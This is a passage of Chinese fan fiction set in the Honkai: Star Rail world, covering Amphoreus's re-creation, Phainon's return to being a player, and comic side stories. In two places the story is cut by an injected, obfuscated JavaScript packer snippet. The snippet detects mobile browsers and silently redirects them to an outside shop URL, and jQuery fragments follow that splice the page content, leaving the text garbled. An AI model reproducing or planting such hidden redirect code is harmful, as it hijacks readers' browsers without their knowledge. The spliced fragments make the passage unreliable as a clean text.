空白的世界中,一滴又一滴雨水自下而上冒出,它们化作细细的光带在昔涟手中凝结,形成了一道略显虚幻的、绚烂的无限回环——和翁法罗斯外的光带一模一样。 “你们的努力并非徒劳,每一个人的记忆都会成为再创世的质料,我们将以崭新的生命拥抱世界,拥抱寰宇,也许你之后会遇见外出旅行的老朋友哦。”昔涟俏皮地眨了下眼睛,说,“现在,回忆你的旅程,为这些记忆引领方向吧。” 127 黑潮在某个瞬间忽然虚弱下来,【白厄】用力挣脱束缚,并未在意自己仅剩1%的血条,抬起大剑架在了来古士的脖颈上。 “……你做了什么?”来古士沉声问道。 你猜?【白厄】微微一笑,深知夜长梦多的道理,毫不犹豫地对着脑袋上飘着“这是本体”的来古士落下剑锋。 金色的身影毫无形象的蹲下来,挥舞大剑,熟练地把智械劈砍分段。 一时之间,电火花乱飞,来古士早已不成形体,依然在用不知到底在哪的发声器官断断续续地说话。 “原来……是陷阱,可惜……”来古士伸出仅剩的一只手臂向前攀爬,畅快地笑了起来,“不愧是我……最满意的作品!无妨……只要你仍然存在,只要你……不忍……寰宇既定的悲剧,终有一日……你必将对束缚一切的智识……举起锋刃!” 【白厄】不为所动,一剑把智械的脑袋劈成两半。 一缕微光从智械的脑袋中飞出,勾勒出虚幻的人形,说话反而流畅起来:“……我的落幕并非终点,一切的铺垫已经结束,我的目标也已然达成。我知道你有死而复生的本领,数据已经合二为一,当你再度睁开眼睛,铁墓,也将随你重新归来。” 天才真是难杀。【白厄】叹了口气,伸手打了个响指。 黑红方块构成的黑潮顺着来古士的虚影向上蔓延,将沿途的所有数据统统吞噬。天才知晓自己抵达了生命的终点,神色却不见惊慌。 在最后的时刻,来古士弯腰抚胸,优雅地行了一礼:“独行而来的变数啊,以神礼观众之名,期待你的终局……” 黑潮吞没了最后一点余音。 【白厄】独自站在荒芜的大地上,随着最后一点血条凭空下滑——大概是同伴们正在攻击铁墓,一串字符出现在他眼前。 【抉择:卡厄斯兰那or玩家】 凭我自己的意愿做出选择,仅此一次,可以放纵自己的任性吗?那么……他轻轻笑了一下,伸手点了下去。 字符立即刷新。 【全部条件已达成,回归通道已解锁】 【备注:检测到*意志*异动,请尽快“回家”】 他看着来古士消散的地方,并未立刻行动。 一般来说,角色的死亡复活并不受玩家控制,来古士的想法并没有错。但凡事总有意外,作为玩家,他还有另一个选择。 他调出系统面板,点击菜单,将选项拉到最下方。 【请确认是否退出游戏?】 在这瞬间,似乎有一个心中的声音发出质问:“确定要这样离开吗?铁墓消散,翁法罗斯必然会受到影响,再创世尚未成功。” 他笑了笑,自己回答自己:“不,如果是他们的话,一定会成功的。” 【——确认】 朦朦白光自眼前放大,而后吞没了一切。 128 空白的世界里,记忆化作光带铺就了一条前行的道路。 星从昔涟的手中接过绚烂的无限符号,沿着记忆的光带走向空无的大地。 许许多多倒流的雨滴仍在向星汇聚,渺小的雨滴上倒映着一个人的喜怒哀乐,深刻的记忆向上蒸腾,化作蓝天与云朵,平凡的记忆向下沉淀,形成坚实的大地。 星一路走过众人的人生,直到行至半途,再没有雨滴升起,虚幻的符号变得黯淡,前行的道路也就此截止。 “咦,怎么会这样?我明明计算过的,记忆是足够的啊。”昔涟如此说着,忽然笑着向下方喊话,“不要再睡啦,白厄,卡厄斯兰那!这时候还要玩捉迷藏吗?” 在瞬间的寂静之后,光带之路忽然震动了一下。 千万滴金色的雨水逆流而上,拖出长长的尾流,绽放出熠熠光彩,金雨汇聚成汩汩小溪流淌进翁法罗斯(无限符号),它们一部分飞上天空,落下和煦的阳光,一部分向下沉淀,为星铺就通往大地的道路。 昔涟忽然拉起星的手,沿着道路奔跑起来。 在道路两侧,有千年前的城邦,有哀丽秘榭的麦田,有悬峰城的战场,有奥赫玛的黎明……无名客走过翁法罗斯的历史,将这个世界的记忆铭刻在心,而当她抵达通路的尽头,她便也成了历史的一部分。 星抵达了道路的尽头。 此时此刻,大地已经不再空白,清风拂面,送来花草的芬芳。 星踏出半步,忽然回头:“你不一起来吗?” “我当然会一直陪着你啊,不过现在,让我为你添上一抹月光吧。”昔涟温柔地笑着,“不要担心,不要悲伤,因为啊,我们终将在明天重逢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048703|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉发的少女化作一枚晶莹的雨滴落入翁法罗斯(无限符号),于是温柔的夜色降临大地,皎洁的月牙悬在空中。 星慢慢走下通路,看着天空中的月亮,忽然有所明悟。 她把负世的火种送入无限符号,闭上眼睛,躺在了芬芳的花草之中。 不知过了多久,星在黎明中睁开眼睛,看到了昼夜交替下的繁华城邦,看到了活泼的动物在林间奔跑,而粉发的少女正站在她面前,向她露出微笑。 昔涟说:“看,我没有骗你吧,我们已经‘明天见’啦。” 129 与此同时,某未知星系。 酒红发色的女人坐在椅子里,伸手轻摇酒杯,看着一行行字迹在剧本上凭空浮现。 “世界之外的变数降落在雅利洛Ⅵ号,毁灭的气息令星核共鸣,可可利亚不得不转移星核的藏匿地点,因此遭受了过量的裂隙能侵蚀,理智进一步降低。 “世界之外的变数在雪中沉睡,直到星穹列车将要抵达,他自雪中睁开眼睛,与无名客们相逢。他们一同对抗可可利亚,封印星核,成为很好的朋友。 “无名客们抵达仙舟罗浮,解决了星核危机,击退绝灭大君幻胧。 “无名客们抵达匹诺康尼,继承了钟表匠的意志,打破了太一之梦。 “世界之外的变数坦白了未来的轨迹,无名客携手天才,进入翁法罗斯。在一切的末尾,世界之外的变数与铁墓一同长眠,星接过负世的权柄,再创翁法罗斯的天地。 “记忆衍化的新世界里,将流传再创世的记录: “第一日,泰坦自火中降生,三者开辟天地。 “第二日,三者纺织命运。 “第三日,三者轮转生死。 “第四日,三者引渡灾祸。 “第五日,灭世的预言就此降下,圣女化作千片奔赴他乡。 “第六日,逐火的英雄踏上旅途,金血传续流淌。 “第七日,十二火种齐聚,天外的救世主带来再创世的黎明。” “自此,世间再无黑潮,残缺者完满,孤独者相遇,救世主将回应着美好的祈愿,令黄金般的盛世重新降临。” 卡芙卡合拢剧本,看向窗外。 “嗯……是个不错的故事呢。但如果只是停留在这里,会不会有些遗憾?” 四周空荡,无人回应,卡芙卡却露出了倾听的神色,而后她微笑着拿起笔,在剧本的末尾添上了一句话。 “……然后,所有期待相遇的人们,都将在不经意间重逢。” 130 他自梦中惊醒,看着熟悉又陌生的天花板,怔愣了很长时间。 过往经历是如此真实,人与物都深深地刻印在脑海之中,昭示着一切并非虚假,而后,沸腾的情绪翻滚上涌,久久不能平息。 直到手机的震动打断思考,他摸出手机打开通讯录,看见小浣熊头像的好友发来一连串的信息。 好友:昨天的崩铁op看了吗?里面的角色我都好喜欢,尤其是开屏贴脸美颜暴击的那位!话说不知道为什么,总觉得你和他有点像。 好友:咦?这么久都没回复,你昨晚又失眠了? 好友:不对劲,你不会是故意装死吧,难道……你打算退游了? 好友:呜呜呜不要丢下我一个人啊,我身边除了你,也就一二三四五六七八个人在玩崩铁了,你忍心看我这么孤单吗? 好友:不回复就当你答应了哦,约好了,3.0不见不散! 他顺着消息一路查看,只觉某种熟悉的无奈感涌上心头,而后忽然一愣。 3.0版本?不是已经更新到3.5版本了吗? 他快速搜索了一下网页信息,发现好友的认知才是对的,不禁有些茫然。 这时,一张便签纸飘忽忽地落了下来。他捡起一看,发现上面竟然是自己的字迹——虽然他不记得自己写过这样的内容。 “想不想知道‘抉择’到底代表了什么?认输我就告诉你。” 他面无表情地把便签纸翻了个面。 “你/我肯定是直接来看答案了!抉择就是——喜欢你再创世后的身份吗?并非救世主,而是一个普通人,一名崩铁玩家。” 竟然是字面上的“玩家”吗?所以当时到底为什么要搞得那么郑重啊!知不知道我选择时到底用了多大的决心? 他叹了口气,把便签纸折叠收好,拿起手机,对小浣熊好友做出回复:“放心,没有退游。” 好友:好搭档我就知道你一定不会这么做的! 好友:要是能立刻更新版本就好了。 好友:好期待好期待,翁法罗斯到底会是什么样的故事啊? 他微微一怔,回复道:“不清楚……但我想,这一定是个浪漫的故事吧?” 好友:你说的哦,我信了。要是不好玩你得陪我给老米写投诉信。 好友:好啦不开玩笑了,明天更新见! 他笑了笑,看向窗外,在灿烂的阳光中做出回复。 “嗯,明天见。” 26. 游戏机制百分百(番外) 001 假如选择“适配崩铁宇宙规则” 【抉择:百分百继承游戏机制or适配崩铁宇宙规则】 玩家本想选择百分百继承游戏机制给现实世界一点小小的游戏震撼,正要决定时微微一顿,鬼使神差地觉得适配崩铁宇宙规则也不错。 “我选适配崩铁宇宙规则。” 【已确认,正在随机抽取适配角色中……】 玩家:“?” 原来是这个适配法吗?那岂不是说最多只能适配一个角色的能力。等等,适配到底是适配到什么程度,抽到女角色不会还要变性吧?不要啊! 【已抽取适配角色:白厄】 【角色记忆载入中……】 还好还好是白厄是男角色,不会变成小姐姐……等会儿?!你说要载入谁的记忆?! “我不……”玩家拒绝的声音戛然而止,数量级高到令人失去概念的庞然记忆汇聚成滔天海啸,嗷呜一口将玩家的意识吞掉。 不知过了多久,贝洛伯格外的雪原被猛然爆开的高温消融了一大块,一道背生金紫羽翼的身影冲天而起,张牙舞爪的飞向天空。 “纳努克——!我这就和你爆了!” 暂时被记忆冲击的脑子不转了的玩家如此咆哮道。 002 假如选择“卡厄斯兰那” 【抉择:卡厄斯兰那or玩家】 仅此一次的任性吗?不,不能放过任何可能产生隐患的因素,面对最悲哀的真相吧,卡厄斯兰那,自我欺骗的游戏该结束了。他垂下眼帘,做出抉择。 无形的咔嗒声中,过往记忆尽数回归,沉重的情绪如永不登顶的滚石般攀上、落下,循环无休,他闭目消化了片刻,睁开眼睛,却显得有些茫然。 记忆与情绪并无问题,这具躯壳也早已习惯了承载如此多的过往,但仔细回想,记忆的末尾不知为何有一小段空白,看痕迹还是他自己抹掉的? 也许是因为有这样做的必要……他迟疑一下,选择相信过去的自己,挥手打开了“回家”的门户。 蒙蒙白光之中,万物衍化。 卡厄斯兰那先是感觉到了落在眼皮上的阳光,而后是耳畔稚嫩的讨论声,他疑惑地睁开眼,看到万敌头戴纸壳制作的王冠,站在一群小孩子中央,表情僵硬地念着台词。 “动手吧,预言中的救世主!面对悬峰人,唯有通过战与火可以交流信念!” 卡厄斯兰那:“?” 是不是他重启的方式不对,这是把他送到哪了?而且,刚才的台词肯定不是万敌自己写的,这是什么悬峰人刻板印象发言? 大抵是他发呆的时间太长,一个小孩子拽了拽衣角,小声提示道:“台词,念台词,白厄哥哥,你要扮演预言中的救世主卡厄斯兰那接下挑战!” 这句话似乎打开了什么开关,卡厄斯兰那忽然想起了被自己亲手擦除的那段记忆。 当时他已经为寰宇的再创世编程好了所有程序,只差去另一个世界打捞“更好的发展(希望)”以扭转再创世后寰宇覆灭的未来。在记忆被彻底封印之前,他罕见地找回了几分鲜活的情绪,于是动了动手指,给未来的自己留下了一份小礼物。 “按照我的性格,最终抉择前肯定会上演一出纠结沉重怀疑否定……等等情绪复杂的戏幕。然后等到再创世成功,‘我’才会发现抉择无论怎么选其实都无伤大雅,那时候‘我’的表情一定很有趣吧?” 卡厄斯兰那觉得自己此时的表情一点都不有趣。 原来选择卡厄斯兰那会变成“和小孩子过家家时扮演救世主”,还顺手把万敌拖下了水……额,这么一想似乎没那么难接受了?不对不对,这不是一回事,重点是自己坑自己很有意思吗?你都做了什么啊过去的我! 卡厄斯兰那叹气,卡厄斯兰那不理解。 他举起同样是纸壳制作的大剑,注视着万敌,嘴角微扬,露出一个自己也没料到的、自然的微笑,认真道:“当然,我可不会输!” 003 假如“寰宇再创世”是谎言 昏光庭院最近来了个精神有问题的病人,风堇主动申请担任主治医生。 “这个世界是虚假的。”白毛蓝眼、长相好看的病人喃喃自语,“原来一切都无法挽回,我只是给自己创造了一场永不停止的梦。” 风堇耐心倾听,并未立刻否定,而是询问道:“你为什么认为世界是虚假的,可以 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“你总说些莫名其妙的话,奇美拉不能,至少不应该。否则你要被送去看风堇医生了。” “为什么不管是人、是大地兽、还是奇美拉,我们都要去看风堇医生?” “不知道,因为代码就是这么写的。” 奇美拉身边的病人终于忍不住跳了起来,绝望道:“够了,不要再提醒我这个世界是虚假的了!我知道我代码写得很烂且全是bug,但你们不要反复把这件事说出来啊!” 两只奇美拉震惊地看着他。 恰好,一大一小两只大地兽慢悠悠地路过这里,小孩子天真道:“妈妈,那个人在和奇美拉说话诶。” 妈妈慈祥道:“傻孩子,大地兽是不能和奇美拉说话的,没看见那个人身上还穿着病号服吗?应该是脑子有问题吧。” 小孩子道:“可是我们为什么不能和奇美拉说话呢?” 妈妈回答:“我也不清楚,可能是因为代码就这么写的吧。” 病人:“……” 病人:“这个世界,还是毁灭吧!” 27. 游戏机制百分百(番外) 001 “我觉得这可能不太合适。”他推拒道。 “不要你觉得,我觉得挺合适的,来照照镜子,这不就是小白本白?”好友兴高采烈地搬了面全身镜过来。 镜中浮现出一个白发蓝瞳、蓝白衣装的人影,人影的五官几乎看不出化妆修饰的痕迹,发色瞳色自然天成,除了服饰质感略显塑料,几乎是从立绘走出来的二次元人物现实版。 看着镜中熟悉又陌生的打扮,【白厄】的心情略显复杂。 再创世后的寰宇不知为何与曾经偏差较大,各个命途的星神尚在萌芽之中,天塌下来只有卡厄斯兰那的个子最高。又因为再创世没有退回重来的说法,某个被迫成为创世者的过期救世主不得不四处闪现修bug补漏洞,敲敲打打地维持住寰宇的平稳发展。 不久前他刚绕着几个设置了重点盯防标记的危险人物(例如正在手搓博识尊的赞达尔)转了一圈,确定情况尚且在可控范围内,这才返回蓝星休假,然后就被直觉灵敏的好友当场逮捕,被迫套上了白厄的cos服。 cos成穹的好友满意地上下打量一番,合掌道:“看起来不错,我就说我的眼光很好吧?走走走,现在出门还能赶上漫展,票我都替你买好了。” 算了,出个cos而已,就当放松了。【白厄】看着灰发金瞳、不知为何总令他微妙地觉得熟悉的好友,妥协地点了点头。 【白厄】拿起轻飘飘的“侵晨”和涂了彩绘的木质球棒,推门而出,然后一脚踏空。在短暂的半秒钟里,他认真地思考了一下现在展开翅膀会不会吓到好友,最后因为必然摔不死打消了变身的念头,闭眼等待落地。 “小白!小——白——!姿势!你头朝下掉下去了!”空中传来【穹】因惊恐而有些破音的声音。 他睁开眼睛,看到【穹】从一扇孤零零的门户中探出半身,最后一咬牙跟着跳了下来。两人离开之后,悬空的门户立刻合拢,化作光点消失。 【白厄】表情微微一变,伸手按住心口作势欲撕,又在最后一秒停住动作。 几道金线蜿蜒向上,在半空中交织成一道柔韧的网。大概是为了避免伤到两人,金网稍稍卸力就会散开,隔段距离又重新交织,如此往复,将从天而降的两人轻柔的抛落在地面上。 【穹】飞快地爬起来,看着四散消失的金线,坦然地大声喊道:“感谢阿格莱雅妈妈!” 【白厄】:“……” 救命啊,现在说不认识好友还来得及吗? “哈,另一个世界的搭档也很有趣啊,不过还是叫阿格莱雅女士比较好?虽然不太介意,但我也不想凭空变小一辈的。”一道清朗的声音传来,白厄快步走近,目光落在【白厄】身上,变得隐含试探,“还有这位,该说好久不见吗?” 单独拉走来古士、被铁墓吞掉、最后还不告而别的某人额头上滑下一滴冷汗,在【穹】逐渐变得狐疑的视线里,他果断选择了装傻,面色如常地笑道:“……好久不见?遇见另一个自己,大概也可以这么说吧。” 白厄一时没看出破绽,若有所思地收回视线。 “先不提这个了,两位意料之外的来客。无论你们因为什么抵达翁法罗斯,都请先和我来。”白厄微笑道,“我想,你们也需要见一见阿格莱雅吧?” 刚过完3.5剧情的【穹】眼睛里立刻冒出了小星星,期待地点头:“好啊好啊。” 【穹】忽然注意到了天边渐渐黯淡下来的日光与散开的晚霞,眼神中浮现出一抹疑惑,他挠了挠头,向【白厄】挤眉弄眼,试图进行一场加密通话。 看来伙伴们的再创世成功了啊……已经发现白厄与来往居民不再是数据的【白厄】微微柔和了表情,忽略掉【穹】什么都读不出来的眼神通话,郑重地点了点头。 002 某种奇异的力量对两人做出了补正,服饰、武器全部衍化真实,【白厄】熟练地收起侵晨,又悄悄指导【穹】收好球棒,这才跟上白厄的脚步,在奥赫玛内穿行起来。 即使天色临近黄昏,市集之内仍然热闹非凡,果香、饭香与悠长的叫卖声糅合成温暖的烟火气,除了翁法罗斯的经典特产,【白厄】还看到了一些公司的基础产品——星际和平公司在市场开拓的速度上,确实无人能比。 沿途所见的市民对白厄复制粘贴、天外来客唐突性转这件事接受良好,【白厄】甚至听见有人小声嘀咕再创世前救世主就是能凭空裂开啊你看这不就是证据。 为什么当初的谣言竟然跨世纪保存下来了,不要在这里铭记不忘啊。【白厄】无言。 白厄并未直接带人前往云石天宫,而是稍微绕了一段路,给两人买了些小吃,道:“这个时间点晚饭已经撤下了,虽然浴宫提供饮食,但主要是水果、甜品和秘酿,不适合填肚子,你们先垫一垫,等明天再吃大餐。” 【穹】毫无戒心的埋头狂吃,偶尔抬起头,真情实感的假哭道:“呜呜呜小白你真好,要是你能来我们那边玩,我也一定请你吃好吃的。” 被收买得也太快了吧!【白厄】无奈地捧着小吃,象征性地吃了几口。 “好啊,我也好奇翁法罗斯之外的饮食特色呢。”白厄眼神微动,思索两秒放弃了各种话术,直白地试探道,“不过,听起来你们对来到这里的原因,有些头绪?” 不,我们没有。【白厄】果断塞了个蜜果,把【穹】不知道会说什么但必定是惊世之言的话堵了回去,摇头道:“不太清楚,我只是推门而出就从半空掉下来了。” “这样啊。”白厄习惯性地抵着下巴,语气轻快道,“别担心,我可以找搭档问问,也许能找到送你们回家的办法。” 【穹】努力地嚼嚼嚼,终于把嘴里的蜜果咽了下去,问道:“你为什么对我们这么好?虽然小白和小白长得一样,但我们本质上是来路未知的陌生人吧?” 白厄微微一怔,眼神温和了一些,微笑道:“大概是因为,翁法罗斯总能遇到带着善意而来的天外来客吧。我们收到了许多祝福、许多帮助,所以,至少在展露恶意之前,我们会将‘你们’真诚以待。” 三人转过一道弯,来到了云石天宫的水幕之前,一座高大恢宏的雕塑金光闪闪地矗立在水幕之前,在黄昏的微光中格外耀眼。 这是什么啊?这里为什么会有个金色版本的卡厄斯兰那塑像,如此慷慨奔放的穿搭真的不会被举报有碍市容吗?【白厄】一瞬间没控制住表情,道:“……这个是?” 白厄的表情变得有些微妙,挠了挠头发,尴尬地介绍道:“这是搭档的手笔,她说即使再创世成功,永劫回归中的……英雄,也不该被埋没。所以在创世之初就捏了座雕塑放在这里,我已经试了一百二十八版方案试图把雕像铲走,可惜都失败了。” 噗,无名的英雄不仅没有被遗忘,还惨遭示众了啊。【白厄】看着白厄的反应,忽然觉得那个金光闪闪的塑像没那么难接受了。 谁知白厄话还没说完:“除此之外,雕塑也是为了纪念一位和搭档同为无名客的友人,如果去观察雕像的铭文,还能看见搭档亲手刻下的纪念悼词。” ……是悼词吧,你刚刚说的是悼词对吧?金金灿灿的雕塑在【白厄】眼中一下子变得鬼气森森、杀气萦绕起来,他不着痕迹地擦了擦冷汗,决定把马甲捂得再严实一点——至少暂时如此。 【穹】抓住了关键词,惊奇道:“再创世?” 白厄若有所思地看了一眼【穹】,微微点头,道:“这就是一个漫长的故事了,要从星穹列车抵达翁法罗斯开始说起……” 003 白厄简单讲了讲再创世前的故事,整体措辞比较客观,但“剧情”中本不该存在的白发无名客还是吸引了【穹】的注意力,他好奇地多问了几句,白厄却只笑了笑便闭口不言。 原来铁墓是这么被打败的,昔涟也现身了啊……【白厄】终于弄清楚了自己离开后的事情发展,心中隐隐悬起的大石终于安稳落地。 几人一路穿过浴宫,通过升降梯前往英雄浴池。【白厄】低头看了看水雾朦胧、游人欢歌的景象,眼神不自觉地柔和了下来。 阿格莱雅依然常驻在英雄浴池,与以往不同的是,浴池边多了一方精致的桌案和几台衣匠,金织女士随手指挥衣匠裁剪布料,自己端起花朵盛开形状的茶杯,优雅的啜饮了一口,神色惬意,姿态放松。 “欢迎你们,意料之外的来客。”阿格莱雅声音温和,“金线判断你们并无恶意,我们也会尽力帮助你们找到回家的路途。在这之前,不如在奥赫玛内游览一番,亲眼见证这再创世后的盛景。” 【白厄】和阿格莱雅对上视线,对方忽然轻快地眨了眨眼睛,青碧的眼眸中光彩明媚。 【穹】欢呼一声,毫无紧张感地绕着衣匠开始转圈,好奇地观察着各种裁剪一半的衣物。阿格莱雅微笑着起身,矜持而骄傲地介绍起自己的作品,稳重的表象下时不时透露出几分略显俏皮的鲜活。 “真好啊。”一道熟悉的声音响起,【白厄】差点以为这是自己的心声,迟钝一秒才意识到是白厄在说话,“不是吗?” 他迎着白厄清澈而光彩熠熠的蓝瞳,点了点头:“嗯。” 然后白厄就以“看他们一时半会聊不完如果另一位搭档把金织女士哄开心了说不定能得到一套衣服我们还是不要在这里打扰他们了”为理由把【白厄】拽出了浴宫,一路向着无名客的私人浴宫行去。 【白厄】心中顿觉不妙,四处张望试图找个借口溜走。 “别装了,你不会以为你伪装得很好吧?”白厄忽然道,“倘若你觉得连并肩作战的战友都认不出来,未免太小瞧我了。” 还是被发现了啊……【白厄】挣扎两秒,选择放弃:“是我,我的演技很差吗?” “哦,还真是啊,其实我不能完全确定,只是诈一诈你。”白厄抵着下巴,当场把刚说的话吃了回去,得意地笑了笑。 【白厄】沉默,试图用目光谴责他。 “别这么看我,我可没有看目光读心的能力,而且是你先不告而别的吧?”白厄故作无辜地摊了摊手,“再创世后大家为了找你差点把翁法罗斯的地皮扒开,最后是昔涟说你还活着,并给出来‘我们终将重逢’的预言,搭档才安稳下来。” 【白厄】的表情立刻变得心虚起来,目光飘忽,含混道:“当时情况特殊,我在这个世界的滞留时间达到了极限,不得不立刻返回。之后有些事一直在忙,最近才空闲了一些,本来也打算抽空定位下这边的坐标的。” 话到此处,他停顿一下,看着白厄,表情略微严肃了一些。 “我有个问题,一直没想明白。”【白厄】迟疑问道,“你现在是什么情况?” 这话问得有些隐晦,白厄却瞬间理解了,这是在问他、问卡厄斯兰那如今的状态。 自重逢起,白厄一直表现的正常开朗,和黄金裔的相处毫无滞涩,不像是拥有三千万转记忆的样子,但【白厄】可以确定,面前的人也是卡厄斯兰那,那跨越三千万个纪元的怒火仍在压抑中燃烧。 “这个说起来有些复杂,其实和搭档的认知有关。” 白厄下意识伸手扶额,有些无奈。 “搭档觉得我和盗火行者既然是一个人,那再创世后应该也是一个人,所以我们早已融为一体。但搭档又觉得白厄应该是白厄,盗火行者应该是盗火行者,所以我的记忆就出了一点小问题。” 白厄详细地解释了一番这仿佛在左右脑互搏的发言。 星核精以离奇的脑回路成功制造了一种相当诡异的状况:她先是给白厄盖了个一人论的章,又隐约觉得白厄和盗火行者是可以分开的一人两面,于是再创世后白厄的记忆变成了一枚会翻转的硬币。 “我仍然记得三千万转的过往,所有细节一清二楚,但当我的心情比较放松时,这些过往的影响就会淡化,导致我的外在表现与‘白厄’相似。” 白厄努力搜刮词汇解释,只觉以他辩论赛冠军的口才也有些词穷。 “同样的,当我变得警惕、悲伤或者愤怒时,卡厄斯兰那的一面就会上浮。这并非意识的分裂,而是一个人的不同特点,在不同时间段的放大与凸显。” 白厄叹了口气,道:“风堇说这并非只有搭档的原因,还有我自己的问题。如果……我有一日能自己与自己和解,这个问题便也会慢慢消失吧。” 情绪激荡的白厄并未发现,一直在默默倾听的【白厄】此刻悄悄偏开目光,有些心虚地看向了上方的穹顶。 啊哈哈,比起截至目前仍然没有取回卡厄斯兰那时期记忆的我来说,你这个问题其实也不算是问题啦。【白厄】心中给自己配了个“爽朗”的表情包。 004 一位意料之外的旅人自绝望出发,行过刻意编制仿造自然的梦境,再于终局时复刻希望,回归故里,再造寰宇的天地。 他给予自己仅此一次的任性权利,在名为蓝星的星球上捏造了一个普通人的空位,假称游戏之名传播另一个世界的故事。复苏的寰宇仍需守望,新生的故乡仍在延续,在忙碌之余,旅人会抽出时间回到普通人的位置上,放纵自己稍微喘口气。 然而,在安宁的罅隙中,意外总会发生。他再度掉落回旅途的中程站,另一个世界的太阳徐徐升起,洒落下万千道希望的光辉。旅人自辉光中转身,看见了故友的身影——于是,所有期待相遇的人们,都在不经意间重逢。 流萤般的少女合拢剧本,询问道:“这也是待印证的预言吗?” “不。”卡芙卡凝视着远方的星海,轻笑道,“这是‘我们’与‘另一个世界的我们’共同写下的祝福, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048705|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵然是被时光洗刷得褪去颜色的无名之人,也该在世界颠覆后与故人重逢,他们还有个尚未履行的约定,不是吗?” 005 “你是不是忘了我们的约定?讨伐纷争之后要拉上无名客一起吃顿大餐。”白厄说,“之前一直没找到机会,这次无论如何也没有理由推脱了吧?” 可我们当时商量的似乎不是这种规模的聚餐吧……【白厄】站在被临时装点得十分绚烂的生命花园中,对着齐聚于此的黄金裔和无名客们陷入沉思。 一口大锅在空地支起,主厨万敌以似曾相识的姿态挥舞锅铲,火力全开,将许许多多的食材原料变成一道道精致的菜肴。缇里西庇俄丝思考两秒,原地分散成十数个飞舞着小翅膀的红发女孩,轻松包揽了配菜的职责。 “吾师,不如让衣匠来做吧?”阿格莱雅建议道。 “没关系,阿雅,*我们*很擅长传递信息与物品哦。”缇宝笑着挥挥手,缇安自然地接过后半句话,“放心放心,小小敌炒菜的速度虽然很快,但*我们*更快!” 送菜的和炒菜的比赛,是不是有点不公平?更别说是一比十几个人……【白厄】习惯性地在心中嘀咕起来。 “看来单靠万敌似乎有些支撑不住啊,这时候就要轮到我出场了。”白厄的蓝瞳透彻发亮,洋溢着轻快的情绪,一边活动手腕一边靠近炉灶,“给我也让一个位置,让你们见识下我的厨艺。” 万敌于百忙之中抽空“呵”了一声,道:“希望你不是来浪费食材的。” “你也太小瞧我了吧?我可是哀丽秘榭数一数二的大厨,只是一直没机会展示而已,敢不敢比一比谁做菜又快又美味?”白厄说。 “哼,无谓的胜负心。”万敌说,“悬峰人的字典里没有‘退缩’这个词。” 于是,气势汹汹挥舞锅铲的人变成了两个。 你们怎么又比起来了?而且刚才悬峰人的字典里是不是凭空少了点字……【白厄】略感无语地看着这一幕。 忽然,一个灰毛脑袋冒了出来,星笑嘻嘻地撺掇道:“小白一号已经加入战场,小白二号怎么可以落后?” 另一个灰毛脑袋也冒出来,【穹】用一种看热闹不怕事大的语气鼓舞道:“上啊小白,我相信你的厨艺!” 谢谢,我没兴趣,能等着吃饭为什么不等着。【白厄】摇了摇头。 这时,万敌淡淡说道:“无妨,你们两个可以一起和我比,胜者一定是我。” 一挑二未免也太嚣张了吧!【白厄】心中“唰”的燃起一道小火苗,毫不犹豫地靠过去接过锅铲,强调道:“各比各的。” 于是,气势汹汹挥舞锅铲的人变成了三个。 星和【穹】默契地对视一眼,不约而同地笑了起来。 006 海瑟音淡定地放下一摞吃净的餐盘,优雅地擦了擦嘴角,询问道:“还有吗?” 忙碌的缇里西庇俄丝*N赶紧把餐盘撤下,流水般捧出大量美食,而海妖的公主来者不拒,以一种恐怖的速度再度将餐盘清空。 在海瑟音的背后,是三个仍然挥舞锅铲但不知为何显得有些疲惫的身影。 “竟然真的这么能吃啊……”【穹】小声感叹。 “自然,无论在何种领域,剑旗爵都是当之无愧的顶点之一,后世的黄金裔若想超越剑旗爵,还需要继续努力。”刻律德菈随手把玩这一枚棋子,向【穹】举起秘酿,“来吧,异邦的来客,欢宴之上无须拘束,我也不再统领奥赫玛,你们因那奇思妙想,有与我共饮的权利。” 一股威严的气息扑面而来,【穹】倒吸一口凉气,迅速把星护至身前,星轻快转身拿起两杯秘酿,仿若不经意般把【穹】又挤回前列。 三只晶莹的杯子碰在一起,星一口闷下整杯秘酿,下一秒就眼神涣散的举起双手开始快乐的转圈圈。【穹】凝重地看了一眼星,选择……也一口闷下整杯秘酿。 两只灰毛自顾自地开始摇摆,丹恒和三月七叹着气凑上来,一人一个把开拓者牵到了边缘,防止他们和飞快穿梭的缇里西庇俄丝撞在一起。 “真是热闹啊,大家都玩得很开心。”姬子抿了一口秘酿,笑着说。 “嗯,翁法罗斯的秘酿中保留了一部分忆质气息,口味相当独特。”□□评价道。 星期日浅浅地尝了一口,赞同地点头:“确实如此,是与匹诺康尼截然不同的风味。” 大黑塔的虚影站在旁边,伸手凭空拉出一道光幕,在上面新建了一项“虚拟形象隔空品尝食物味道”的研究课题。 太阳的光辉渐渐从炽热转为温柔,一抹弥散的晚霞在天边浮现。 风堇把懒洋洋地躺在大地兽背上的那刻夏拉下来,和遐蝶一起走向中央。赛飞儿弹起硬币,一瞬间将所有人的杯子倾满秘酿。从阿格莱雅开始,众人一一举杯,杯子在黄昏的光芒中碰撞在一起,发出清脆的声响。 “敬明天。” “敬未来。” “敬翁法罗斯!” 007 午后的阳光暖洋洋地洒下来,像是一场欢宴的余韵,残留着微醺的快乐。 